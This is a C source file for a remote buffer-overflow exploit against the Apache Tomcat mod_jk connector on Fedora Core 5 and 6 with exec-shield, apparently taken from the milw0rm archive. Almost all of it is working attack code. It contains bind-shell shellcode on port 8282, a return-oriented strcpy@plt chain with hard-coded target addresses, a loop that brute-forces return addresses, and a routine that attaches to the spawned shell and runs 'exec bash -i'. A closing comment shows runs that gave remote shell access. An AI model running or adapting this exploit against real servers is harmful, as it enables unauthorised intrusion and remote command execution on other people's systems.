Apache Tomcat Connector (mod_jk) Remote Exploit (exec-shield)



/*

**
** Fedora Core 5,6 (exec-shield) based
** Apache Tomcat Connector (mod_jk) remote overflow exploit
** by Xpl017Elz
**
** Advanced exploitation in exec-shield (Fedora Core case study)
** URL: http://x82.inetcop.org/h0me/papers/FC_exploit/FC_exploit.txt
**
** Reference: http://www.securityfocus.com/bid/22791
** vendor: http://tomcat.apache.org/
**
** eliteboy's exploit (SUSE, Debian, FreeBSD):
** http://www.milw0rm.com/exploits/4093
**
** Nicob <nicob[at]nicob.net>'s exploit (Win32):
** http://downloads.securityfocus.com/vulnerabilities/exploits/apache_modjk_overflow.rb
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.inetcop.org
**
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <signal.h>
#ifdef __linux__
#include <getopt.h>
#endif

#define MAP_URI_TO_WORKER_1_FC5 0x080474bc /* (0x2040),(0x201c) */
#define MAP_URI_TO_WORKER_1_FC6 0x080476a4 /* (0x2040),(0x201c) */
#define MAP_URI_TO_WORKER_2     0x82828282
#define MAP_URI_TO_WORKER_3     0x08048014

/* parody */
#define HOST_PARAM    "0x82-apache-mod_jk.c" /* Host */
#define DEFAULT_CMDZ    "uname -a;id;echo 'hehe, its GOBBLES style!';export TERM=vt100;exec bash -i\n"
#define PADDING_1    'A'
#define PADDING_2    'B'
#define PADDING_3    'C'
#define RET_ADDR_INC    (0x2000)
#define SH_PORT        8282

char library_shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    /* linux_ia32_bind -  LPORT=8282 Size=108 Encoder=PexFnstenvSub http://metasploit.com */
    "\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe0"
    "\x2c\x54\x7f\x83\xeb\xfc\xe2\xf4\xd1\xf7\x07\x3c\xb3\x46\x56\x15"
    "\x86\x74\xcd\xf6\x01\xe1\xd4\xe9\xa3\x7e\x32\x17\xc0\x76\x32\x2c"
    "\x69\xcd\x3e\x19\xb8\x7c\x05\x29\x69\xcd\x99\xff\x50\x4a\x85\x9c"
    "\x2d\xac\x06\x2d\xb6\x6f\xdd\x9e\x50\x4a\x99\xff\x73\x46\x56\x26"
    "\x50\x13\x99\xff\xa9\x55\xad\xcf\xeb\x7e\x3c\x50\xcf\x5f\x3c\x17"
    "\xcf\x4e\x3d\x11\x69\xcf\x06\x2c\x69\xcd\x99\xff";

struct {
    int num;
    char *type;
    int ret_count;
    u_long retaddr;
    u_long strcpy_plt;
    int offset;
    u_long pop_pop_pop_ret_code;
    u_long pop_pop_ret_code;
    u_long ret_code;
    u_long worker_arg1;
} targets[] = {
    {0,"Fedora Core release 5 (Bordeaux) - exec-shield\n"
    "\tApache/2.0.59 (Unix) mod_jk/1.2.19, mod_jk/1.2.20\n"
    "\ttarball install: /usr/local/apache\n"
    "\ttarball install: tomcat-connectors-1.2.xx-src.tar.gz",
    3,0x100104,0x08060c80,4112,0x08060dc4,0,0,MAP_URI_TO_WORKER_1_FC5},

    {1,"Fedora Core release 6 (Zod) - exec-shield\n"
    "\tApache/2.0.49 (Unix) mod_jk/1.2.19\n"
    "\ttarball install: /usr/local/apache\n"
    "\tbinary install: mod_jk-apache-2.0.49-linux-i686.so",
    27,0x100104,0x0805fe74,4124,0x08061489,0,0,MAP_URI_TO_WORKER_1_FC6},

    {2,"Fedora Core release 6 (Zod) - exec-shield\n"
    "\tApache/2.0.49 (Unix) mod_jk/1.2.19, mod_jk/1.2.20\n"
    "\ttarball install: /usr/local/apache\n"
    "\ttarball install: tomcat-connectors-1.2.xx-src.tar.gz",
    23,0x100104,0x0805fe74,4112,0x08061489,0,0,MAP_URI_TO_WORKER_1_FC6},

    {3,"Fedora Core release 6 (Zod) - exec-shield\n"
    "\tApache/2.0.59 (Unix) mod_jk/1.2.19, mod_jk/1.2.20\n"
    "\ttarball install: /usr/local/apache\n"
    "\ttarball install: tomcat-connectors-1.2.xx-src.tar.gz",
    3,0x100104,0x08060164,4112,0x080614d4,0,0,MAP_URI_TO_WORKER_1_FC6},
}, victim;

void re_connt(int sock);
void conn_shell(int sock,char *cmdz);
void usage(char *argv0);
void banrl();

int main(int argc,char *argv[]){
    int sock;
    int i=0,j=0,l=0,b=0;
    unsigned char do_ex[8192];
    unsigned char ex_buf[8192*2];
    unsigned char sm_buf[4];
    char *hostp=NULL,*portp=NULL,*cmdz=DEFAULT_CMDZ;

    memset(&victim,0,sizeof(victim));
    banrl();
    while((i=getopt(argc,argv,"h:t:c:r:s:p:o:m:C:"))!=-1){
        switch(i){
            case 'h':
                hostp=(char *)strtok(optarg,":");
                if((portp=(char *)strtok(NULL,":"))==NULL)
                    portp="80";
                break;
            case 't':
                if(atoi(optarg)>=sizeof(targets)/sizeof(victim)){
                    usage(argv[0]);
                    return -1;
                }
                memcpy(&victim,&targets[atoi(optarg)],sizeof(victim));
                break;
            case 'c':
                victim.ret_count=atoi(optarg);
                break;
            case 'r':
                victim.retaddr=strtoul(optarg,NULL,16);
                break;
            case 's':
                victim.strcpy_plt=strtoul(optarg,NULL,16);
                break;
            case 'p':
                victim.pop_pop_pop_ret_code=strtoul(optarg,NULL,16);
                break;
            case 'o':
                victim.offset=atoi(optarg);
                break;
            case 'm':
                victim.worker_arg1=strtoul(optarg,NULL,16);
                break;
            case 'C':
                cmdz=optarg;
                break;
            default:
                usage(argv[0]);
                break;
        }
    }
    if(!victim.ret_count||!victim.retaddr||!victim.strcpy_plt||!victim.offset||!victim.pop_pop_pop_ret_code||!victim.worker_arg1||!hostp||!portp){
        usage(argv[0]);
        return -1;
    }

    victim.pop_pop_ret_code=victim.pop_pop_pop_ret_code+1;
    victim.ret_code=victim.pop_pop_pop_ret_code+3;

    printf("[*] os: %s\n\n",victim.type);
    printf("[*] host: %s\n",hostp);
    printf("[*] port: %s\n",portp);
    printf("[*] count: %d\n",victim.ret_count);
    printf("[*] strcpy@plt: %p\n",victim.strcpy_plt);
    printf("[*] offset: %d\n",victim.offset);
    printf("[*] pop_pop_pop_ret_code: %p\n",victim.pop_pop_pop_ret_code);
    printf("[*] pop_pop_ret_code: %p\n",victim.pop_pop_ret_code);
    printf("[*] ret_code: %p\n",victim.ret_code);
    printf("[*] map_uri_to_worker() arg1: %p\n",victim.worker_arg1);
    printf("[*] start retaddr: %p\n\n",victim.retaddr);

    putchar(';');
    srand(getpid());

    for(b=0;;victim.retaddr+=RET_ADDR_INC){

        putchar((rand()%2)? 'P':'p');
        fflush(stdout);

        usleep(100000);

        memset((char *)do_ex,0,sizeof(do_ex));
        memset((char *)ex_buf,0,sizeof(ex_buf));
        memset((char *)sm_buf,0,sizeof(sm_buf));

#define __GOGOSSING(dest,index,src){\
    *(long *)&dest[index]=src;\
    index+=4;\
}
        for(i=0;i<victim.offset-1;i++){
            sprintf(do_ex+i,"%c",PADDING_1);
        }
        __GOGOSSING(do_ex,i,victim.pop_pop_pop_ret_code);
        __GOGOSSING(do_ex,i,victim.worker_arg1); /* pop */
        __GOGOSSING(do_ex,i,MAP_URI_TO_WORKER_2); /* pop */
        __GOGOSSING(do_ex,i,MAP_URI_TO_WORKER_3); /* pop */

        for(j=0;j<victim.ret_count;j++){
            __GOGOSSING(do_ex,i,victim.ret_code);
        }

        __GOGOSSING(do_ex,i,victim.strcpy_plt); /* ret */
        __GOGOSSING(do_ex,i,victim.ret_code);
        __GOGOSSING(do_ex,i,victim.retaddr); /* library */

        sprintf(ex_buf,"GET /");
        l=strlen(ex_buf);
        for(j=0;j<i;j++){
            if((do_ex[j]>0x08)&&(do_ex[j]<0x0e)){
                memset((char *)sm_buf,0,sizeof(sm_buf));
                sprintf(sm_buf,"%02x",do_ex[j]);
                ex_buf[l++]='%';
                ex_buf[l++]=sm_buf[0];
                ex_buf[l++]=sm_buf[1];
            }
            else ex_buf[l++]=do_ex[j];
        }
        l=strlen(ex_buf);
        sprintf(ex_buf+l," HTTP/1.0\r\nUser-Agent: %s\r\nHost: %s\r\n\r\n",library_shellcode,HOST_PARAM);
        sock=setsock(hostp,atoi(portp));
        re_connt(sock);
        send(sock,ex_buf,strlen(ex_buf),0);
        close(sock);

        sock=setsock(hostp,SH_PORT);
        if(sock!=-1){
            printf("\nTHIS IS KOREAAAAA~!: ret_count=%d, retaddr=%p, strcpy@plt=%p,\n"
                "pop3/ret=%p, worker_arg1=%p\n\n",victim.ret_count,victim.retaddr,
                victim.strcpy_plt,victim.pop_pop_pop_ret_code,victim.worker_arg1);
            conn_shell(sock,cmdz);
            exit(-1);
        }
    }
}

int setsock(char *host,int port)
{
    int sock;
    struct hostent *he;
    struct sockaddr_in x82_addr;
 
    if((he=gethostbyname(host))==NULL)
    {
        return -1;
    }
    if((sock=socket(AF_INET,SOCK_STREAM,0))==EOF)
    {
        return -1;
    }
    x82_addr.sin_family=AF_INET;
    x82_addr.sin_port=htons(port);
    x82_addr.sin_addr=*((struct in_addr *)he->h_addr);
    bzero(&(x82_addr.sin_zero),8);
 
    if(connect(sock,(struct sockaddr *)&x82_addr,sizeof(struct sockaddr))==EOF)
    {
        return -1;
    }
    return(sock);
}

void re_connt(int sock)
{
    if(sock==-1)
    {
        printf("\n[-] ");
        fflush(stdout);
        perror("connect()");
        printf("[-] exploit failed.\n");
        exit(-1);
    }
}

void conn_shell(int sock,char *cmdz)
{
    int pckt;
    char rbuf[1024];
    fd_set rset;
    memset((char *)rbuf,0,1024);
    send(sock,cmdz,strlen(cmdz),0);

    while(1)
    {
        fflush(stdout);
        FD_ZERO(&rset);
        FD_SET(sock,&rset);
        FD_SET(STDIN_FILENO,&rset);
        select(sock+1,&rset,NULL,NULL,NULL);
    
        if(FD_ISSET(sock,&rset))
        {
            pckt=read(sock,rbuf,1024);
            if(pckt<=0)
            {
                exit(0);
            }
            rbuf[pckt]=0;
            printf("%s",rbuf);
        }
        if(FD_ISSET(STDIN_FILENO,&rset))
        {
            pckt=read(STDIN_FILENO,rbuf,1024);
            if(pckt>0)
            {
                rbuf[pckt]=0;
                write(sock,rbuf,pckt);
            }
        }
    }
    return;
}

void usage(char *argv0){
    int i;

    printf("Usage: %s <-switches> -h host[:80]\n",argv0);
    printf("  -h host[:port]\tHost\n");
    printf("  -t number\t\tTarget id.\n");
    printf("  -c ret_count\t\tret count\n");
    printf("  -r retaddr\t\tstart library retaddr\n");
    printf("  -s strcpy@plt\t\tstrcpy plt address\n");
    printf("  -p pop3/ret\t\tpop3/ret address\n");
    printf("  -o offset\t\tOffset\n");
    printf("  -m worker_arg1\tmap_uri_to_worker() arg1\n");
    printf("  -C cmdz\t\tCommands\n");
    printf("\nExample: %s -t 0 -h apache_tomcat.target.kr\n",argv0);
    printf("\n--- --- - Potential targets list - --- ---- ------- ------------\n");
    printf(" ID / Return addr / Target specification\n");
    for(i=0;i<sizeof(targets)/sizeof(victim);i++)
        printf("% 3d / 0x%08x /\n\t%s\n\n",i,targets[i].retaddr,targets[i].type);
    exit(-1);
}

void banrl(){
    printf("INetCop(c) Security\t\t\t\t\t%s\n\n",HOST_PARAM);
}

/*
**
** Fedora core 5 exploit:
** --
** $ ./0x82-apache-mod_jk -t 0 -h fc5.inetcop.org
** INetCop(c) Security                                     0x82-apache-mod_jk.c
** 
** [*] os: Fedora Core release 5 (Bordeaux) - exec-shield
**         Apache/2.0.59 (Unix) mod_jk/1.2.19, mod_jk/1.2.20
**         tarball install: /usr/local/apache
**         tarball install: tomcat-connectors-1.2.xx-src.tar.gz
** 
** [*] host: fc5.inetcop.org
** [*] port: 80
** [*] count: 3
** [*] strcpy@plt: 0x8060c80
** [*] offset: 4112
** [*] pop_pop_pop_ret_code: 0x8060dc4
** [*] pop_pop_ret_code: 0x8060dc5
** [*] ret_code: 0x8060dc7
** [*] map_uri_to_worker() arg1: 0x80474bc
** [*] start retaddr: 0x100104
** 
** ;PPPpppPpppPpppPPpPpPPPppPppPPppPPpPPpPPPPPP
** THIS IS KOREAAAAA~!: ret_count=3, retaddr=0x154104, strcpy@plt=0x8060c80,
** pop3/ret=0x8060dc4, worker_arg1=0x80474bc
** 
** Linux localhost 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 i686 i686 i386 GNU/Linux
** uid=99(nobody) gid=4294967295 groups=4294967295
** hehe, its GOBBLES style!
** bash: no job control in this shell
** bash-3.1$
** --
**
** Fedora core 6 exploit:
** --
** $ ./0x82-apache-mod_jk -t 3 -h fc6.inetcop.org
** INetCop(c) Security                                     0x82-apache-mod_jk.c
** 
** [*] os: Fedora Core release 6 (Zod) - exec-shield
**         Apache/2.0.59 (Unix) mod_jk/1.2.19, mod_jk/1.2.20
**         tarball install: /usr/local/apache
**         tarball install: tomcat-connectors-1.2.xx-src.tar.gz
** 
** [*] host: fc6.inetcop.org
** [*] port: 80
** [*] count: 3
** [*] strcpy@plt: 0x8060164
** [*] offset: 4112
** [*] pop_pop_pop_ret_code: 0x80614d4
** [*] pop_pop_ret_code: 0x80614d5
** [*] ret_code: 0x80614d7
** [*] map_uri_to_worker() arg1: 0x80476a4
** [*] start retaddr: 0x100104
** 
** ;pPpPppppPpppPppPPPpPPpPppPpPpPPpPPPPPpP
** THIS IS KOREAAAAA~!: ret_count=3, retaddr=0x14c104, strcpy@plt=0x8060164,
** pop3/ret=0x80614d4, worker_arg1=0x80476a4
** 
** Linux localhost 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 i686 i686 i386 GNU/Linux
** uid=99(nobody) gid=4294967295 groups=4294967295
** hehe, its GOBBLES style!
** bash: no job control in this shell
** bash-3.1$
** --
**
*/

/* eox */

// milw0rm.com [2007-07-08]